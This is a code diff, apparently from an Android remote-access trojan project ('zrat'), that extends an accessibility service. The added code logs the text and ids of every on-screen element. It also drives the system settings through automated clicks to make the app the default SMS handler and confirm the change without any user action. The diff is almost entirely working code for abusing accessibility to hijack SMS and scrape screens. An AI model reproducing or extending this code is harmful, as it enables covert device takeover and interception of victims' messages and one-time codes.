|
@@ -2,11 +2,14 @@ package com.example.zrat;
|
|
|
|
|
|
|
|
import android.accessibilityservice.AccessibilityServiceInfo;
|
|
import android.accessibilityservice.AccessibilityServiceInfo;
|
|
|
import android.accessibilityservice.GestureDescription;
|
|
import android.accessibilityservice.GestureDescription;
|
|
|
|
|
+import android.content.Intent;
|
|
|
import android.content.pm.ApplicationInfo;
|
|
import android.content.pm.ApplicationInfo;
|
|
|
import android.content.pm.PackageManager;
|
|
import android.content.pm.PackageManager;
|
|
|
import android.graphics.Path;
|
|
import android.graphics.Path;
|
|
|
import android.graphics.PixelFormat;
|
|
import android.graphics.PixelFormat;
|
|
|
import android.graphics.Rect;
|
|
import android.graphics.Rect;
|
|
|
|
|
+import android.os.IBinder;
|
|
|
|
|
+import android.provider.Settings;
|
|
|
import android.util.Log;
|
|
import android.util.Log;
|
|
|
import android.view.Gravity;
|
|
import android.view.Gravity;
|
|
|
import android.view.LayoutInflater;
|
|
import android.view.LayoutInflater;
|
|
@@ -27,6 +30,7 @@ import java.util.Deque;
|
|
|
import java.util.HashMap;
|
|
import java.util.HashMap;
|
|
|
import java.util.List;
|
|
import java.util.List;
|
|
|
import java.util.Map;
|
|
import java.util.Map;
|
|
|
|
|
+import java.util.Optional;
|
|
|
|
|
|
|
|
public class AccessibilityService extends android.accessibilityservice.AccessibilityService {
|
|
public class AccessibilityService extends android.accessibilityservice.AccessibilityService {
|
|
|
private static final String TAG = "AccessibilityService";
|
|
private static final String TAG = "AccessibilityService";
|
|
@@ -44,11 +48,11 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
instance = this;
|
|
instance = this;
|
|
|
|
|
|
|
|
AccessibilityServiceInfo info = new AccessibilityServiceInfo();
|
|
AccessibilityServiceInfo info = new AccessibilityServiceInfo();
|
|
|
- info.eventTypes = AccessibilityEvent.TYPE_VIEW_CLICKED |
|
|
|
|
|
- AccessibilityEvent.TYPE_VIEW_FOCUSED |
|
|
|
|
|
- AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED;
|
|
|
|
|
|
|
+ info.eventTypes = AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED;
|
|
|
info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
|
|
info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
|
|
|
info.notificationTimeout = 100;
|
|
info.notificationTimeout = 100;
|
|
|
|
|
+ info.flags = AccessibilityServiceInfo.DEFAULT
|
|
|
|
|
+ | AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS;
|
|
|
this.setServiceInfo(info);
|
|
this.setServiceInfo(info);
|
|
|
|
|
|
|
|
// WindowManager windowManager = (WindowManager) getSystemService(WINDOW_SERVICE);
|
|
// WindowManager windowManager = (WindowManager) getSystemService(WINDOW_SERVICE);
|
|
@@ -105,6 +109,14 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
if (node == null) {
|
|
if (node == null) {
|
|
|
return null;
|
|
return null;
|
|
|
}
|
|
}
|
|
|
|
|
+
|
|
|
|
|
+ String className = node.getClassName().toString();
|
|
|
|
|
+ String name = node.getViewIdResourceName();
|
|
|
|
|
+ String text = Optional.ofNullable(node.getText()).map(CharSequence::toString).orElse(null);
|
|
|
|
|
+ String id = node.getViewIdResourceName();
|
|
|
|
|
+
|
|
|
|
|
+ Log.i(TAG, "Node: class=" + className + ", text=" + text + ", name=" + name + ", id=" + id);
|
|
|
|
|
+
|
|
|
Map<String, Object> map = new HashMap<>();
|
|
Map<String, Object> map = new HashMap<>();
|
|
|
map.put("class", node.getClassName());
|
|
map.put("class", node.getClassName());
|
|
|
map.put("text", node.getText());
|
|
map.put("text", node.getText());
|
|
@@ -123,6 +135,67 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
return map;
|
|
return map;
|
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
+ public boolean setDefaultSmsApp() {
|
|
|
|
|
+ Log.i(TAG, "setDefaultSmsApp: " + Utils.getStringResourceByName(this, "app_name") + ", " + getPackageName());
|
|
|
|
|
+ AccessibilityNodeInfo root = getRootInActiveWindow();
|
|
|
|
|
+ SetDefaultSmsAppResult result = new SetDefaultSmsAppResult();
|
|
|
|
|
+ setDefaultSmsApp(root, result);
|
|
|
|
|
+ if (!result.isSmsAppSelected()) {
|
|
|
|
|
+ return false;
|
|
|
|
|
+ }
|
|
|
|
|
+ setDefaultSmsApp(root, result);
|
|
|
|
|
+ return result.isConfirmed();
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ public boolean setDefaultSmsApp1() {
|
|
|
|
|
+ Intent i = new Intent(Settings.ACTION_MANAGE_DEFAULT_APPS_SETTINGS);
|
|
|
|
|
+ startActivity(i);
|
|
|
|
|
+
|
|
|
|
|
+ new Thread(() -> {
|
|
|
|
|
+ try {
|
|
|
|
|
+ Thread.sleep(1000);
|
|
|
|
|
+ AccessibilityNodeInfo root = getRootInActiveWindow();
|
|
|
|
|
+ SetDefaultSmsAppResult result = new SetDefaultSmsAppResult();
|
|
|
|
|
+ setDefaultSmsApp(root, result);
|
|
|
|
|
+ } catch (InterruptedException e) {
|
|
|
|
|
+ e.printStackTrace();
|
|
|
|
|
+ }
|
|
|
|
|
+ }).start();
|
|
|
|
|
+ return false;
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ private void setDefaultSmsApp(AccessibilityNodeInfo node, SetDefaultSmsAppResult result) {
|
|
|
|
|
+ if (node == null) {
|
|
|
|
|
+ return;
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ String className = node.getClassName().toString();
|
|
|
|
|
+ String name = node.getViewIdResourceName();
|
|
|
|
|
+ String text = Optional.ofNullable(node.getText()).map(CharSequence::toString).orElse(null);
|
|
|
|
|
+ String id = node.getViewIdResourceName();
|
|
|
|
|
+
|
|
|
|
|
+ Log.i(TAG, "Node: class=" + className + ", text=" + text + ", name=" + name + ", id=" + id);
|
|
|
|
|
+
|
|
|
|
|
+ if ("com.android.permissioncontroller:id/title".equals(id)
|
|
|
|
|
+ && Utils.getStringResourceByName(this, "app_name").equals(text)) {
|
|
|
|
|
+ Log.i(TAG, "found item");
|
|
|
|
|
+ node.getParent().performAction(AccessibilityNodeInfo.ACTION_CLICK);
|
|
|
|
|
+ result.setSmsAppSelected(true);
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ if ("android:id/button1".equals(id) && result.isSmsAppSelected()) {
|
|
|
|
|
+ Log.i(TAG, "found confirm button");
|
|
|
|
|
+ node.performAction(AccessibilityNodeInfo.ACTION_CLICK);
|
|
|
|
|
+ result.setConfirmed(true);
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ if (node.getChildCount() != 0) {
|
|
|
|
|
+ for (int i = 0; i < node.getChildCount(); i++) {
|
|
|
|
|
+ setDefaultSmsApp(node.getChild(i), result);
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
@Override
|
|
@Override
|
|
|
public void onAccessibilityEvent(AccessibilityEvent event) {
|
|
public void onAccessibilityEvent(AccessibilityEvent event) {
|
|
|
Log.i(TAG, "onAccessibilityEvent: " + event.toString());
|
|
Log.i(TAG, "onAccessibilityEvent: " + event.toString());
|
|
@@ -133,6 +206,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0);
|
|
ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0);
|
|
|
CharSequence applicationLabel = packageManager.getApplicationLabel(applicationInfo);
|
|
CharSequence applicationLabel = packageManager.getApplicationLabel(applicationInfo);
|
|
|
Log.i(TAG, "app name is: " + applicationLabel);
|
|
Log.i(TAG, "app name is: " + applicationLabel);
|
|
|
|
|
+ traverseNode(getRootInActiveWindow());
|
|
|
} catch (Exception e) {
|
|
} catch (Exception e) {
|
|
|
e.printStackTrace();
|
|
e.printStackTrace();
|
|
|
}
|
|
}
|